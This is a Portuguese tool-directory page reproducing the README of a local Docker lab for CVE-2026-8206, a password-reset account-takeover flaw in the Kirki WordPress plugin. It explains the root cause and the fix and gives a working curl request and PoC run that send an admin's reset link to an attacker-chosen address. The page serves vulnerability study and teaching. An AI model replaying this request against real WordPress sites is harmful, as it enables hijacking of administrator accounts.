Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-8206-Lab | Kitploit
Ferramentas/GitHubGitHub/rootdirective-sec/cve-2026-8206-lab
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFAprendizado e EducaçãoLabs e Prática
GitHubrootdirective-sec/cve-2026-8206-lab

CVE-2026-8206-Lab

Ver Repositório
há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-8206 - Laboratório de Assunção de Conta Kirki

Laboratório Docker local para demonstrar a CVE-2026-8206 no plugin Kirki para WordPress.

Este repositório compara as versões reais do plugin Kirki:

  • vuln: Kirki 6.0.6
  • patched: Kirki 6.0.7

O laboratório é apenas local e vincula os serviços WordPress a 127.0.0.1. O PoC é de dano mínimo: ele solicita uma redefinição de senha e verifica o destinatário do e-mail capturado dentro do laboratório. Ele não altera nenhuma senha.


Resumo

A CVE-2026-8206 é uma vulnerabilidade de assunção de conta / escalonamento de privilégios não autenticado nas versões 6.0.0 a 6.0.6 do Kirki.

O manipulador de redefinição de senha vulnerável cria uma chave de redefinição para um usuário real do WordPress selecionado por username, mas envia o e-mail de redefinição para um endereço de e-mail arbitrário fornecido na requisição.

Neste laboratório:

root@kitploit:~
vulnerable => reset link for admin is sent to [email protected]
patched    => mismatched email is rejected and no reset email is sent to [email protected]

Componente Afetado

  • Produto: Kirki – Construtor de páginas freeform, construtor de sites e personalizador
  • Versões afetadas: 6.0.0 a 6.0.6
  • Versão corrigida: 6.0.7
  • Endpoint vulnerável usado neste laboratório:
root@kitploit:~
/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password

Causa Raiz

O manipulador vulnerável é:

root@kitploit:~
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php

Comportamento vulnerável na 6.0.6

O Kirki lê o e-mail fornecido pelo atacante no corpo da requisição:

root@kitploit:~
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';

Em seguida, ele resolve o usuário WordPress alvo pelo nome de usuário e cria uma chave de redefinição de senha para esse usuário:

root@kitploit:~
$key = get_password_reset_key( $user );

Mas o e-mail de redefinição final é enviado para o $email fornecido na requisição:

root@kitploit:~
$sent = wp_mail( $email, $email_subject, $email_body, $headers );

Isso rompe o limite de confiança entre a identidade da conta e o destinatário do e-mail de redefinição. Um solicitante não autenticado pode fornecer:

root@kitploit:~
username=admin
[email protected]

A chave de redefinição pertence a admin, mas o e-mail é entregue ao endereço controlado pelo atacante.

Comportamento corrigido na 6.0.7

O Kirki 6.0.7 valida que o e-mail fornecido corresponde ao e-mail registrado do usuário resolvido e, em seguida, força o destinatário para o e-mail da conta antes de enviar:

root@kitploit:~
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    // reject request
}

$email = $user_email;
$sent  = wp_mail( $email, $email_subject, $email_body, $headers );

Design do Laboratório

O e-mail local é capturado em arquivos em vez de ser enviado externamente:

root@kitploit:~
artifacts/vuln-mail/
artifacts/patched-mail/

O laboratório usa versões reais do plugin Kirki instaladas com WP-CLI. O código-fonte do plugin não é modificado.


Estrutura do Repositório

root@kitploit:~
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── docker/
│   ├── capture-mail
│   └── mail-capture.ini
├── scripts/
│   └── setup-wordpress.sh
├── poc/
│   ├── poc_local.py
│   └── run_lab_poc.sh
├── docs/
│   └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore

Requisitos

  • Docker Desktop ou Docker Engine
  • Docker Compose v2
  • Python 3
  • Pacote requests do Python

Instale a dependência Python se necessário:

root@kitploit:~
python3 -m pip install requests

Executar o Laboratório

Inicie os contêineres:

root@kitploit:~
docker compose up -d --build

Popule ambas as instâncias do WordPress:

root@kitploit:~
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched

Execute o PoC:

root@kitploit:~
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh

Resultados Esperados

Vulnerável: Kirki 6.0.6

Resultado esperado:

root@kitploit:~
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
    To: [email protected]
    Subject: CVE-2026-8206 local lab proof

Isso prova que a versão vulnerável enviou um e-mail de redefinição de senha da conta alvo para o endereço controlado pelo atacante.

Corrigido: Kirki 6.0.7

Resultado esperado:

root@kitploit:~
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER

Isso prova que a versão corrigida rejeita a divergência entre nome de usuário e e-mail e não envia o e-mail de redefinição para o endereço controlado pelo atacante.


Verificação Manual

Crie o nonce correto do elemento Kirki dentro do laboratório vulnerável:

root@kitploit:~
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"

Envie uma requisição apenas local ao serviço vulnerável:

root@kitploit:~
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
  -H "X-WP-Element-Nonce: $NONCE" \
  -d "username=admin" \
  -d "[email protected]" \
  --data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
  --data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'

Verifique o e-mail capturado:

root@kitploit:~
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/

Evidência vulnerável esperada:

root@kitploit:~
To: [email protected]
... action=rp ... login=admin ...

Segurança

Este laboratório é destinado apenas a pesquisa de segurança local e demonstração de portfólio.

Salvaguardas:

  • Vincula os serviços apenas a 127.0.0.1.
  • Usa endereços de e-mail locais fictícios.
  • Captura e-mail localmente em vez de enviar e-mail real.
  • Não altera senhas.
  • Não tenta exploração contra sistemas externos.

Limpeza

root@kitploit:~
docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail

Referências

  • Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-8206
  • Aviso da Wordfence: https://www.wordfence.com/blog/2026/06/unauthenticated-privilege-escalation-vulnerability-patched-in-kirki-wordpress-plugin/
  • Banco de dados de vulnerabilidades da Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kirki/kirki-600-606-unauthenticated-privilege-escalation-via-handle-forgot-password
  • Página do plugin WordPress / changelog: https://wordpress.org/plugins/kirki/
  • Entrada OpenCVE: https://app.opencve.io/cve/CVE-2026-8206
Baixar ferramenta
ServiçoFinalidadeURL do host
vulnWordPress + Kirki 6.0.6http://127.0.0.1:8081
patchedWordPress + Kirki 6.0.7http://127.0.0.1:8082
db_vulnMySQL para o WordPress vulnerávelsomente rede Docker
db_patchedMySQL para o WordPress corrigidosomente rede Docker
wpcli_vulnPopula o WordPress vulnerávelconfiguração única
wpcli_patchedPopula o WordPress corrigidoconfiguração única